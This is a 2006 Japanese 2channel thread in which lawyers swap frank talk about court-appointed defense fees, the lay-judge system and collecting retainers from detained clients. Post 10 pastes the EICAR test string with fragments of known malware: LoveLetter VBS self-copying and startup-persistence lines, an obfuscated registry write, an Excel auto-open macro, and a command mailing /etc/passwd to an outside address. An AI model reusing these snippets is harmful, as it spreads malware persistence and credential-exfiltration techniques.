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【お盆中も】弁護士本音talkスレPart24【居留守】

1 :無責任な名無しさん:2006/07/26(水) 22:01:24 ID:FsIZfEdr
前スレ↓
【新法続々】弁護士本音talkスレPart23【日々勉強】
http://school5.2ch.net/test/read.cgi/shikaku/1149832472/
注意書き,リンク集などは>>2-10あたりに・・・

2 :無責任な名無しさん:2006/07/26(水) 22:02:42 ID:FsIZfEdr
○こちらは弁護士の方や関係者などの雑談スレになります。
○特定の個人名、事務所名、電話番号、住所などは絶対に書き込まないでください。
○司法試験関係は 「司法試験板」 http://school5.2ch.net/shihou/ がございます。
○法律相談は、最寄りの法律相談センターや弁護士会、各種相談スレまたは下記スレへ。

やさしい【易しい】法律相談part183
http://school5.2ch.net/test/read.cgi/shikaku/1153354023/
------------------------------------------------------------
○弁護士の本音トークスレです。
 したがって,それ以外の話題,たとえば
 ×弁護士に対する相談
 ×弁護士以外の人の過度のスレ参加
 はなるべくご遠慮ください。
○荒らしは無視の方向でしかるべく。
○なるべくsage進行で。

3 :無責任な名無しさん:2006/07/26(水) 22:03:42 ID:FsIZfEdr
過去スレその1
1:【雑談】弁護士本音talkスレ その2【ため息】
http://school.2ch.net/test/read.cgi/shikaku/1059490362/
2:【雑談】弁護士本音talkスレ その3【ため息】
http://school.2ch.net/test/read.cgi/shikaku/1065526506/
3:【希望】弁護士本音talkスレ その4【失望】
http://school2.2ch.net/test/read.cgi/shikaku/1074280112/
4:【希望】弁護士本音talkスレ その5【失望】
http://school4.2ch.net/test/read.cgi/shikaku/1080568884/
5:【夏期】弁護士本音talkスレ その6【休廷】
http://school4.2ch.net/test/read.cgi/shikaku/1087307654/
6:【夏バテ】弁護士本音talkスレpart7【ビール腹】
http://school4.2ch.net/test/read.cgi/shikaku/1091890714/
7:【ようこそ】弁護士本音talkスレPart8【第58期よ】
http://school4.2ch.net/test/read.cgi/shikaku/1096634157/
8:【諸行】弁護士本音talkスレPart9【無常】
http://school4.2ch.net/test/read.cgi/shikaku/1099052870/
9:【忘年会】弁護士本音talkスレpart10【新年会】
http://school4.2ch.net/test/read.cgi/shikaku/1102088211/
10:【確定】弁護士本音talkスレpart11【申告】
http://school4.2ch.net/test/read.cgi/shikaku/1107791882/
11:【黄金】弁護士本音talkスレpart12【週間】
http://school4.2ch.net/test/read.cgi/shikaku/1113138219/

4 :無責任な名無しさん:2006/07/26(水) 22:04:40 ID:FsIZfEdr
過去スレその2
12:【相談は】弁護士本音talkスレpart13【他のスレで】
http://school4.2ch.net/test/read.cgi/shikaku/1115537611/
13:【クールビズ】弁護士本音talkスレpart14【してる?】
http://school5.2ch.net/test/read.cgi/shikaku/1118220156/
14:【国選増額】弁護士本音talkスレ15【熱烈希望】
http://school5.2ch.net/test/read.cgi/shikaku/1122387067/
15:【風立ちぬ】弁護士本音talkスレ16【爽やかに】
http://school5.2ch.net/test/read.cgi/shikaku/1125622482/
16:【WELCOME】弁護士本音talkスレPart17【58期】
http://school5.2ch.net/test/read.cgi/shikaku/1128939534/
17:【食欲の秋】弁護士本音talkスレPart18【ダイエット】
http://school5.2ch.net/test/read.cgi/shikaku/1130480126/
18:【メリー】弁護士本音talkスレPart19【クリスマス】
http://school5.2ch.net/test/read.cgi/shikaku/1133217229/
19:【サヨナラ】弁護士本音talkスレPart20【みなし弁済】
http://school5.2ch.net/test/read.cgi/shikaku/1137164618/
20:【花見は】弁護士本音talkスレPart21【まだか?】
http://school5.2ch.net/test/read.cgi/shikaku/1141830790/
21:【連休中は】弁護士本音talkスレPart22【居留守】
http://school5.2ch.net/test/read.cgi/shikaku/1146261889/
22:【新法続々】弁護士本音talkスレPart23【日々勉強】
http://school5.2ch.net/test/read.cgi/shikaku/1149832472/

5 :無責任な名無しさん:2006/07/26(水) 22:06:37 ID:FsIZfEdr
関連スレ
【ドラマと】事務員本音talkスレ5頁目【大違い】
http://school5.2ch.net/test/read.cgi/shikaku/1145260846/
■裁判官の部屋 その3■
http://school5.2ch.net/test/read.cgi/shikaku/1137575282/
【秋霜】検事になりたいんですがその13【烈日】
http://school5.2ch.net/test/read.cgi/shihou/1152247323/
■若手法曹スレッドpart1■
http://school5.2ch.net/test/read.cgi/shikaku/1112780497/
裁判所書記官だけでマターリしようよ
http://society3.2ch.net/test/read.cgi/koumu/1141056988/

6 :無責任な名無しさん:2006/07/26(水) 22:07:13 ID:FsIZfEdr
弁護士のためのサイト集(二弁知財法研究会)
http://www.dntba.ab.psiweb.com/link/bengoshi-link.html
法令データ提供システム
http://law.e-gov.go.jp/cgi-bin/idxsearch.cgi
総本山
http://www.nichibenren.or.jp/
東弁
http://www.toben.or.jp/
一弁
http://www.ichiben.or.jp/
二弁
http://www.niben.jp/
裁判所
http://www.courts.go.jp/
岡口裁判官のページ
http://okaguchi.at.infoseek.co.jp/top.htm

7 :無責任な名無しさん:2006/07/26(水) 22:18:41 ID:F+OW8Bq4

法テラス計画を頓挫させましょう。屋根に上げて梯子を外しましょう。
国選報酬最低20万円が確約されない限り受任拒否しましょう。

裁判員裁判を混乱させましょう。期日を空転させましょう。
裁判員法の早期廃止を目指しましょう。

会務を縮小しましょう。委員会費の経費節減を要求しましょう。
予算案と決算承認に反対しましょう。会費値下げを勝ち取りましょう。

ロースクールを潰しましょう。新司法試験合格者の採用は控えましょう。
旧試験の復活をさせましょう。合格者人数は年間1000人が適正です。

8 :MS754 ◆yGUnQdhyV2 :2006/07/26(水) 22:24:58 ID:BRx2NeEN
>>1
乙です。

9 :MS754 ◆yGUnQdhyV2 :2006/07/26(水) 23:21:42 ID:BRx2NeEN
次スレでは、過去スレの最初に↓
1:弁護士本音talkスレッド
http://school.2ch.net/test/read.cgi/shikaku/998739465/
http://yasai.2ch.net/shikaku/kako/998/998739465.html
を置き、現在の1:以下を1づつ繰り下げたいと思いますが、よろしいでしょうか。

10 :厨房よけ:2006/07/26(水) 23:53:52 ID:TOi3Pb5h
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
ms-its:mhtml:file://c:\
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
THE END!!

11 :無責任な名無しさん:2006/07/26(水) 23:55:47 ID:icMarEpb
>>10
毎回それ貼り付けるのやめてくれるかな?
厨房よけにもならんしノートン先生がうるさいだけなんだよ
あんた嫌われ者でしょ

12 :MS754 ◆yGUnQdhyV2 :2006/07/27(木) 00:18:50 ID:/D1qAofh
過去スレその1
弁護士本音talkスレッド
http://school.2ch.net/test/read.cgi/shikaku/998739465/
http://yasai.2ch.net/shikaku/kako/998/998739465.html
【雑談】弁護士本音talkスレ その2【ため息】
http://school.2ch.net/test/read.cgi/shikaku/1059490362/
【雑談】弁護士本音talkスレ その3【ため息】
http://school.2ch.net/test/read.cgi/shikaku/1065526506/
【希望】弁護士本音talkスレ その4【失望】
http://school2.2ch.net/test/read.cgi/shikaku/1074280112/
【希望】弁護士本音talkスレ その5【失望】
http://school4.2ch.net/test/read.cgi/shikaku/1080568884/
【夏期】弁護士本音talkスレ その6【休廷】
http://school4.2ch.net/test/read.cgi/shikaku/1087307654/
【夏バテ】弁護士本音talkスレpart7【ビール腹】
http://school4.2ch.net/test/read.cgi/shikaku/1091890714/
【ようこそ】弁護士本音talkスレPart8【第58期よ】
http://school4.2ch.net/test/read.cgi/shikaku/1096634157/
【諸行】弁護士本音talkスレPart9【無常】
http://school4.2ch.net/test/read.cgi/shikaku/1099052870/
【忘年会】弁護士本音talkスレpart10【新年会】
http://school4.2ch.net/test/read.cgi/shikaku/1102088211/
【確定】弁護士本音talkスレpart11【申告】
http://school4.2ch.net/test/read.cgi/shikaku/1107791882/
【黄金】弁護士本音talkスレpart12【週間】
http://school4.2ch.net/test/read.cgi/shikaku/1113138219/

13 :MS754 ◆yGUnQdhyV2 :2006/07/27(木) 00:19:38 ID:/D1qAofh
過去スレその2
【相談は】弁護士本音talkスレpart13【他のスレで】
http://school4.2ch.net/test/read.cgi/shikaku/1115537611/
【クールビズ】弁護士本音talkスレpart14【してる?】
http://school5.2ch.net/test/read.cgi/shikaku/1118220156/
【国選増額】弁護士本音talkスレ15【熱烈希望】
http://school5.2ch.net/test/read.cgi/shikaku/1122387067/
【風立ちぬ】弁護士本音talkスレ16【爽やかに】
http://school5.2ch.net/test/read.cgi/shikaku/1125622482/
【WELCOME】弁護士本音talkスレPart17【58期】
http://school5.2ch.net/test/read.cgi/shikaku/1128939534/
【食欲の秋】弁護士本音talkスレPart18【ダイエット】
http://school5.2ch.net/test/read.cgi/shikaku/1130480126/
【メリー】弁護士本音talkスレPart19【クリスマス】
http://school5.2ch.net/test/read.cgi/shikaku/1133217229/
【サヨナラ】弁護士本音talkスレPart20【みなし弁済】
http://school5.2ch.net/test/read.cgi/shikaku/1137164618/
【花見は】弁護士本音talkスレPart21【まだか?】
http://school5.2ch.net/test/read.cgi/shikaku/1141830790/
【連休中は】弁護士本音talkスレPart22【居留守】
http://school5.2ch.net/test/read.cgi/shikaku/1146261889/
【新法続々】弁護士本音talkスレPart23【日々勉強】
http://school5.2ch.net/test/read.cgi/shikaku/1149832472/


14 :MS754 ◆yGUnQdhyV2 :2006/07/27(木) 00:22:33 ID:/D1qAofh
最初の過去スレを見つけてくれた方が、「過去スレ集」に付加してくれましたので、
こちらにも転載させていただきます。どうもありがとうございました。

15 :行き詰まり弁護士 ◆BAKA/8y6zk :2006/07/27(木) 02:08:04 ID:aFxoL47f
>>MS754先生
毎度毎度スレ立て乙です。

16 :無責任な名無しさん:2006/07/27(木) 08:50:30 ID:sKPN5/lm
ちなみにノートンは今評判が悪い
わざと使わない人も増えていると聞く

17 :無責任な名無しさん:2006/07/27(木) 10:47:31 ID:SWmvoZno
>>7
そんなこと言ってると,世間から袋だたきに遭うよ

18 :無責任な名無しさん:2006/07/27(木) 10:53:19 ID:3k1iE2OG
すいません、ここって法律相談できますか?

19 :無責任な名無しさん:2006/07/27(木) 11:05:57 ID:Sh6PZdTM
>>18
>>2

20 :無責任な名無しさん:2006/07/27(木) 11:07:52 ID:lON3TDYm
>>17
結構いいなあ。
世間?けっ

21 :18:2006/07/27(木) 11:22:48 ID:3k1iE2OG
19さんありがとぅ!

22 :無責任な名無しさん:2006/07/27(木) 12:35:11 ID:SWmvoZno
【社会】 "3P" 買春海上保安士、少年と少女、2人同時に性的行為をしていた…宮城
http://news19.2ch.net/test/read.cgi/newsplus/1153930307/

観念共か併合罪かw

23 :無責任な名無しさん:2006/07/27(木) 12:40:22 ID:4s9Kd5bs
他山の石、他山の石。
この手の事件は、普通弁護士にとっておいしい事件なんだが、すぐに
とっかからなかったというのは刑事が不起訴で過失の有無がはっきり
しなかったからなのかな。

<調査放置>2審も弁護士に賠償命令 東京高裁
http://headlines.yahoo.co.jp/hl?a=20060726-00000134-mai-soci
 交通事故で死亡した男性の遺族が、大口昭彦弁護士に「真相解明や
賠償請求を依頼したのに放置され賠償請求権の時効(3年)が過ぎてし
まった」として約1億3000万円の賠償を求めた訴訟の控訴審で、東京
高裁は26日、計約6800万円の支払いを命じた1審・東京地裁判決を
支持し、弁護士側の控訴を棄却した。
(毎日新聞) - 7月26日20時51分更新

24 :無責任な名無しさん:2006/07/27(木) 14:07:29 ID:vCId771e
>17
至極まともな主張だと思うがなぁ・・・
一体裁判員裁判がよいと思っている人がどこにいるんだい?
本音を言ってみしょ!
世間=裁判員制度に反対、だろ。

25 :無責任な名無しさん:2006/07/27(木) 17:16:27 ID:Y6qBYQ7B
>23
この弁護士やめたの?
弁護士検索で引っかからないんだが。

26 :無責任な名無しさん:2006/07/27(木) 17:16:29 ID:SWmvoZno
>>24
裁判員は,このままだと一般人の負担があるから,廃止の賛意は得られると思うが,
国選20万は税金で一般人の負担となるし,法曹1000人は弁護士が儲けてやがるという世間の根拠のない批判を加速させるだけだし,
会務は弁護士が楽しようとしてるなどと言われると思うよ。

じゃあ裁判員だけ廃止ね

27 :無責任な名無しさん:2006/07/27(木) 17:29:50 ID:4s9Kd5bs
>>25
やり直し

28 :無責任な名無しさん:2006/07/27(木) 17:54:04 ID:Y6qBYQ7B
>27
あれま。失礼しました。


29 :無責任な名無しさん:2006/07/27(木) 17:54:52 ID:sKPN5/lm
会務など誰の役にも立っていない件

30 :sage:2006/07/27(木) 18:35:24 ID:4i4gKwNo
>>22
3Pは併合罪。

ttp://d.hatena.ne.jp/okumuraosaka/20060726/1153890091
関心は、司法警察職員のよしみでどれくらい寛大な処分になるかですが、同時に2名というのは、犯情悪質なので、別の機会の場合より重くなります。


31 :無責任な名無しさん:2006/07/27(木) 19:06:20 ID:uU0yPWf0
国選20万円にしたところで司法予算にはたいした影響はない。
裁判所経費や更生予算に比べたら微々たる割合。

32 :無責任な名無しさん:2006/07/27(木) 21:32:45 ID:VvZq24we
>>31
悪漢のために、なんで私らが払う税金を使うの?
って、素朴な疑問には答えていないね。

はやらん弁護士のための生活保護です、というのは正直な答えだが、
じぁー、やめてしまえ、っという世論が圧倒するでしょうな。

33 :無責任な名無しさん:2006/07/27(木) 21:38:51 ID:TuOwNLNf
ばーか。

34 :無責任な名無しさん:2006/07/27(木) 21:43:55 ID:bD0b9VcH
判例雑誌の感想を書くスレッドはないのかな

判タ1209を読み返してたら
札幌地裁のパロマ製の湯沸かし器不完全燃焼の判決が載ってて
マンション賃貸人,マンション管理業者,ガス会社への請求は認容されてたけど
パロマは被告ともされてなくて面白かった。
控訴されてるみたいだけど,今どうなってるんだろうか

弁護士大増員への不満の中,浮世離れした話題でスマン

35 :無責任な名無しさん:2006/07/27(木) 22:16:43 ID:uU0yPWf0
>>32
「はやらん弁護士のための生活保護です」
なんてのは東京だけの話。
地方では,国選は日常業務の足かせです。国による業務妨害です。

いっそのこと刑訴の必要的弁護の条文削除してくれれば,そのほうがいいよ。
8万だって悪漢のための無駄な税金であることに変わりはない。

36 :無責任な名無しさん:2006/07/27(木) 22:17:30 ID:uU0yPWf0
ていうか,東京で国選が取り合いになるほど人気なら,地方の国選事件を東京の弁護士が受けられるようにしたらいいのよ。


37 :無責任な名無しさん:2006/07/27(木) 22:26:20 ID:F+ODJjeL
 上告事件の国選が東京独占なのはおかしいよね。被告人は各交際所在地の拘置所にいるんだろ。
 東京から来てもらわなくても

38 :無責任な名無しさん:2006/07/27(木) 22:48:05 ID:uU0yPWf0
うちの地方の国選事件ならいくらでも東京の弁護士に差し上げるよ。
もう今年は15件を超えた。おなかいっぱい。

39 :無責任な名無しさん:2006/07/28(金) 06:05:59 ID:AAG7AH5Q
話のネタ提供

国選弁護に制限、「預貯金50万円以上なら私選を」
http://www.asahi.com/national/update/0728/TKY200607270747.html


http://www.asahi.com/national/update/0728/TKY200607270747.html

40 :無責任な名無しさん:2006/07/28(金) 06:15:19 ID:A41yBVjh
>本人が「貧困その他」にあたると申告すれば、保有資産などを問われずに、
>ほぼそのまま国選弁護を受けられた。
>「資産のあるものは私選弁護人を依頼すべきだ」との意見があったため、

そもそも国選=無料じゃないだろ、なぜ短絡的に資力有=>国選かと小一時間...

41 :無責任な名無しさん:2006/07/28(金) 09:13:39 ID:VYT5h+qx
私選ってあんまり好きじゃないんだよな〜
重大事件なら私選でしっかり受け取ってやった方がいいんだろうけど、
せいぜい2回位接見すれば済むような、自白・初犯の覚せい剤事案だったら
国選の方がいい。
俺がお金を出したんだからと、話し相手・愚痴の相手に呼ばれるのはかなわん。
国選でも、訴訟費用を本人に負担させる件数を増やせばいいだけだろうに。

42 :無責任な名無しさん:2006/07/28(金) 09:33:22 ID:DU24bADZ

朝から何ですが,残酷な動画を置いておきますね
http://www.youtube.com/watch?v=-2U5X4O0DLQ


43 :無責任な名無しさん:2006/07/28(金) 09:36:07 ID:DU24bADZ
>>39

留置場や拘置所で財産を申告させること自体には問題はないのかね。
犯罪収益を隠匿していた場合は,書かせれば黙秘権侵害になるだろうし。
そもそも犯罪収益から弁護士報酬が支払われたときに弁護士が犯罪収益収受にあたることはないのか?

44 :無責任な名無しさん:2006/07/28(金) 09:43:31 ID:Vnqv7Ayy
>>36
じゃあ地方の会務をやってくれ
東京の暇弁護士の思いつきで,ろくでもないイベントごとにいちいちつきあう手間を考えてくれ

45 :無責任な名無しさん:2006/07/28(金) 09:44:33 ID:Vnqv7Ayy
>>43
で,ゲートキーパーとかなんとか弁護士は行政の犬化すると

46 :無責任な名無しさん:2006/07/28(金) 09:48:50 ID:j1hDX9mD
弁護士にも所得を申告させて、年収500万円以下の層の先生に優先的に国選と扶助を受任させてあげれば
どうか?

47 :無責任な名無しさん:2006/07/28(金) 11:06:11 ID:4FkjGzPy
>>39
これはやめて欲しい。そもそも拘置所や警察署で拘留中の人間が、50万円を身につけてるわけないだろ。
拘留中の人間から「絶対金を払うから私選でやってくれ。」と言われて私選でやっても、
結局金払わずにトンズラされるんだから。



48 :無責任な名無しさん:2006/07/28(金) 11:10:44 ID:DU24bADZ
資力があると言うから私選推薦を受けて私選で受けたが,
申告に反して本当は資力がなく,着手金が払えないときは,
辞任して再び国選を選任してもらいましょう。

とてもじゃないが,迅速な被疑者国選弁護人の推薦・選任は
実現しそうにないな。

>>44
賛成。
シンポジウムや○○大会は全て東京と大阪で準備して開催しろ。

49 :無責任な名無しさん:2006/07/28(金) 12:11:17 ID:BkePEQRI
経験上、「先生頼みます。金は持ってます。」はたいがい持ってないw
自分の中での教訓:「弁選を焦るな。着手金後でよい。」

50 :無責任な名無しさん:2006/07/28(金) 13:35:24 ID:j1hDX9mD
「親が費用を出してくれるので先生から親に電話して下さい」と言われる場合
親の返事は、必ず「さんざん迷惑をかけられた。刑務所にできるだけ永く入ってほしい。費用はだせません」
だな。それ以外のケースにあたったことがない。



51 :無責任な名無しさん:2006/07/28(金) 13:48:14 ID:Vnqv7Ayy
50万円っていうのが,着手金払っても生活可能ってことらしいが,報酬はどうなるんだ。
報酬は最初から考えに入っていないのか。

着手金も取れない,報酬も取れないって,弁護士をなんだと思ってるんだろう。
JやPは何か新しい仕事振られてもそれは給料の内なんだからかまわんだろうが,
俺らは個人の自営なんだから,経営考えないと自殺ものですよ。

弁護士会何やってるの。
無罪で報酬がないのもダメだけど,それ以上にただ働きの危険を負担するような制度はあり得ないだろ。
ホント弁護士が嫌になってくる。事件屋やった方が早いよ。

52 :無責任な名無しさん:2006/07/28(金) 14:03:15 ID:oI5qxrM4
>>51
>JやPは何か新しい仕事振られてもそれは給料の内なんだからかまわんだろうが,

話は違うけど、法曹三者の模擬裁判の弁護人役をやったときにこれを強く感じたw

53 :無責任な名無しさん:2006/07/28(金) 14:22:50 ID:WwCfm9LV
一番問題なのは、勝手に弁護士費用を25万円と決めているところだな。


54 :無責任な名無しさん:2006/07/28(金) 15:15:46 ID:L7DkIOCD
 刑事弁護で、これまでは、カードを宅下げするので、そこから着手金をおろしてくれと言われても、
拒否して、お金がないとみなして、断ったり、扶助を利用していたけど、今後はどうするかねぇ。

55 :無責任な名無しさん:2006/07/28(金) 17:38:35 ID:vmrm+ANl
この一週間、よく頑張った、俺。

56 :無責任な名無しさん:2006/07/28(金) 17:46:44 ID:j1hDX9mD
最近一部政治家が「靖国分祠論」をに主張し、マスコミもこれをを応援しているが、宗教団体の「神」の内容について国家があれこれ指図するのは明らかに政教分離原則に違反して違憲じゃないのか?
国家による宗教団体弾圧にほかならないと思うが、俺の憲法感覚がおかしいのかな?

57 :無責任な名無しさん:2006/07/28(金) 17:58:57 ID:H11m6TiD
>>50
それは珍しい。そんなのは5件に一件程度だったけど..最近は酷いのかな

58 :無責任な名無しさん:2006/07/28(金) 18:15:23 ID:DU24bADZ
>>50
「友人」 「内妻の親」 の場合もだいたいそうだな。

「勤め先の社長」の場合は,連絡すると大方 「こっちも迷惑している」 となる。
金が出てくる場合は,その勤め先も大抵ヤバめのところだ。

59 :無責任な名無しさん:2006/07/28(金) 18:17:02 ID:DU24bADZ
>>56
おかしくない。
ただ,一議員が言う分には問題ないだろう。
行政の肩書きがついてる政治家が言うのは問題。

60 :無責任な名無しさん:2006/07/28(金) 18:47:42 ID:u7JLrgqQ
質問です。私は離婚後子供共々引越しました。相手に住所教えずいたのに、相手が弁護士を使って調停を申し立ててきましたが、こちらの住所も知らないのに、通知書が届きました。弁護士は どうやって住所を調べたのでしょうか。

61 :無責任な名無しさん:2006/07/28(金) 18:55:03 ID:ZSmMZJiQ
探偵会社。


62 :無責任な名無しさん:2006/07/28(金) 18:55:39 ID:DU24bADZ
住民票追っていけば簡単にわかることだ。

63 :無責任な名無しさん:2006/07/28(金) 19:18:00 ID:qOknBjGV
>>47
俺は前金じゃないとやらない。


64 :無責任な名無しさん:2006/07/28(金) 20:37:12 ID:WwCfm9LV
きっと日弁連は刑事弁護を衰退させようとしてるんだよ

65 :無責任な名無しさん:2006/07/28(金) 20:40:55 ID:M8XFsZ5S
>>60
ちなみにDV等で住所非公開の場合は,弁護士でも調べられません。
その場合は,役場から裁判所に対して直接住所を連絡します。

66 :無責任な名無しさん:2006/07/28(金) 21:35:02 ID:A+XLHbi7
>>63
俺は、キャッシュカードと暗証番号と委任状(預金を引き下ろすこと)をもらって
金をひきおろして受任したことがある。
いちおう、現金もって接見に行って、目の前で数えてもらった。

67 :無責任な名無しさん:2006/07/28(金) 21:47:25 ID:BttLc8eW
ジェイビックって知ってますか?
盗難手形登録システムってどの程度有用なんでしょうか?

68 :無責任な名無しさん:2006/07/29(土) 00:42:12 ID:ybfE9GWd
>>66
当番出動の被疑者弁護では、示談費用確保のため
キャッシュカードの宅下げはよくやります。
ATMの出金伝票を示談意思の疎明資料にして、勾留を争ったり。
預金引き下ろしの委任状もらうまではやったこと無いですが、
やった方がいいんでしょうかね。

69 :無責任な名無しさん:2006/07/29(土) 01:26:06 ID:67YoTiys
>>68
万が一を考えてやっておいた方がいいよ。
「俺は前の事件のときの弁護人に勝ってに金を引き出されて返してもらってない。
それを取り返してきて示談に使ってくれ。仲間の弁護士なら責任とってやれ。」
という無理難題(妄想)を国選でふっかけられたことがある。

70 :無責任な名無しさん:2006/07/29(土) 01:43:28 ID:hvh14IGg
>>68
もらった方が良いいと思うよ。何があるかわからないし
「弁護士○○に●●円引き下ろすことを委任する。△△」を手書きにしてもらうだけだし。


71 :無責任な名無しさん:2006/07/29(土) 02:26:33 ID:67YoTiys
>>68
70さんの言うとおり手書きがいい。
漏れの兄弁はワープロで起案した委任状に署名もらったら
「接見室で机を叩いて署名を強要された」と詐欺の常習犯
にねじ込まれたことがあるそうだ。
トンデモ被告人は自白調書の任意性を争う手口で委任状
の任意性を争いやがる。

72 :無責任な名無しさん:2006/07/29(土) 02:36:57 ID:QforV8tl
>>71
手書きでも「無理矢理書かされた」で同じことになるような気がする。

被疑者(被告人)の身内が誰かいれば問題ないんだけどね。


73 :無責任な名無しさん:2006/07/29(土) 06:29:21 ID:MVXu4amO
イロイロ読んでくると、皆さんなにかとご苦労されてきてますね。
オレは、今回を期にもう国選はやめようと思っています。

ただ、将来、実のある私選(やってあげたい人、やりがいのある事件、
金も貰える事件)が入ったときに、
刑事のセンスが維持されているかが不安。

74 :無責任な名無しさん:2006/07/29(土) 08:02:36 ID:eMIZHgAm
>>70 71
郵送で「よく検討してください」と頼んで返送させればいいよね

75 :無責任な名無しさん:2006/07/29(土) 11:51:13 ID:hvh14IGg
>>74
それ良い考えですね。

>>73
私も、法テラス制度になったし国選から引退しようかなと思っている。
65歳くらいなったら、またやる予定だけど。

76 :無責任な名無しさん:2006/07/29(土) 19:06:58 ID:z5WNmq1c
>>75
年取ってからやろうと思っても、その頃には、
「俺たちはこれで飯食ってるんだ。年寄りが邪魔するな。」
って言われるよ。

77 :無責任な名無しさん:2006/07/29(土) 19:08:53 ID:67YoTiys
国選受諾弁護士に所得制限がもうけられたりして(近未来

78 :MS754 ◆yGUnQdhyV2 :2006/07/29(土) 23:06:19 ID:ALevC2Yr
本日の果物

ミカン 1箱(5kg) マンゴー 5個(国産)

累計(うろ覚え)

メロン 7個  ミカン3箱(5kg×2 15kg×1) サクランボ(佐藤錦 4パック?)
マンゴー(5個)

今頃増えた。前スレを確認するのが面倒なので・・・・。
 

79 :無責任な名無しさん:2006/07/30(日) 08:08:21 ID:NrSc9cZH
東京では国選の取り合いになってるというし、誰もやらんということはないだろう。

80 :無責任な名無しさん:2006/07/30(日) 09:43:17 ID:WFsm2A8n
時々このスレで見るのだが,
「東京では国選・扶助の破産が取り合いで,朝会館に行列ができている」
というのは本当?

当方地方中堅都市の弁護士。
とてもそんな事態が想像できないのだが。

81 :無責任な名無しさん:2006/07/30(日) 10:25:31 ID:WFsm2A8n

投稿日: 2006/07/06(木) 21:16:40 ID:???
http://d.hatena.ne.jp/images/diary/o/okumuraosaka/2006-07-06.jpg

82 :無責任な名無しさん:2006/07/30(日) 13:33:17 ID:4Jmnhhr+
>>80
東弁は早い時間に行って順番確保とかはある。
二弁は並ぶことがあると聞く。

ただし、これらは国選受任が義務なので受けざるを得ないが
簡単な事件・やりたい事件を受けたいから担当日には早く行く、という側面が強い。
滞留事件といって、誰も受けない事件なら、弁護士会に行けばいつでも受任できる。


83 :無責任な名無しさん:2006/07/30(日) 14:16:20 ID:zTwkteKe
なんか生活保護の奴の救済とかやるんだって?

http://image.blog.livedoor.jp/doraganaru/imgs/f/c/fc3933e1.jpg

84 :無責任な名無しさん:2006/07/30(日) 14:56:56 ID:WFsm2A8n
>>82
なんだ。それなら,地方もあまり変わりはないな。簡単な事件も滞留するだけで。

ところで,人気の簡単な事件って何?
住居侵入窃盗
常習累犯窃盗
覚せい剤自己使用
オーバーステイ
在宅の業過
とか?

85 :無責任な名無しさん:2006/07/30(日) 15:48:46 ID:NrSc9cZH
俺が好きなのは薬物とオーバーステイだけ。
窃盗は追起訴があるし、在宅はルーズな奴が多いのでかえって手間がかかる。

86 :無責任な名無しさん:2006/07/30(日) 17:52:07 ID:b2LXT0XW
薬物はときどき信じられない否認があるじゃん。

87 :無責任な名無しさん:2006/07/30(日) 21:32:06 ID:r9x7gEFD
あまりに信じられない否認なら,淡々とつきあってあげればいい。

88 :無責任な名無しさん:2006/07/30(日) 21:59:23 ID:yhWC/eJP
外国人がらみはいやだな
通訳代高いし

89 :無責任な名無しさん:2006/07/30(日) 22:49:51 ID:Jug8SNeD
国選の話だろ?

90 :無責任な名無しさん:2006/07/31(月) 00:20:02 ID:xAFld+aP
通訳との日程調整はめんどうなのは事実

91 :無責任な名無しさん:2006/07/31(月) 00:32:16 ID:tWBh+jRU
通訳事件やったことないんだけど、
接見の時の通訳費用が限られていて、下手すりゃ自腹らしいから、
オーバーステイは簡単とわかっているけれど、絶対にやらない。

92 :行き詰まり弁護士 ◆BAKA/8y6zk :2006/07/31(月) 01:07:56 ID:xNR3XRIR
国選事件で法廷通訳を接見に同伴した場合,通訳費用は裁判所から通訳人に直で支払われる
はずですよ。

93 :ヘボP ◆wFsZ6Vr/M6 :2006/07/31(月) 02:16:13 ID:8mKrEwzy
要通訳事件ばかりを東京地検公判部でやっていたとき
公判記録の「第四分類(雑記録)」を見てから
・ヒラPや国選Bをやるより通訳の方が収入がいい!
・だけど通訳は寝ているところを起こされてPBより執務が不規則_| ̄|○
と思うようになりました。

ちなみにある否認事件では
国選弁護費用16万円弱
法廷通訳費用57万円強
でした。 ○| ̄|_

もっとも北京語・ハングル語・英語通訳のベ先生(朝鮮系中国人出身で帰化日本人)は
「同時通訳なら1時間3万円から5万円もらえるのに,(法廷通訳は)ボランティアですよ。」
とおっしゃってました。

94 :ヘボP ◆wFsZ6Vr/M6 :2006/07/31(月) 02:45:30 ID:8mKrEwzy
すいませんBスレなのにPが脊髄反射で投稿してしまいました。
ごめんなさい。謝罪の上で撤退します。
吊ってきま〜す。(。_・☆\ ベキバキ

95 :無責任な名無しさん:2006/07/31(月) 04:32:48 ID:pm9kbp5K
東弁は、滞留事件を求めて、委嘱日の昼頃に列が出来るらしい。
だから、呆も希望者殺到かと思ってたら、目標の半分程度なのな。

96 :無責任な名無しさん:2006/07/31(月) 06:32:12 ID:wTQqKkNg
やりたくない人はやめて、やりたい人だけ残るんだから、正常化したんじゃないの?
残った人はたくさん受けて稼げるし。
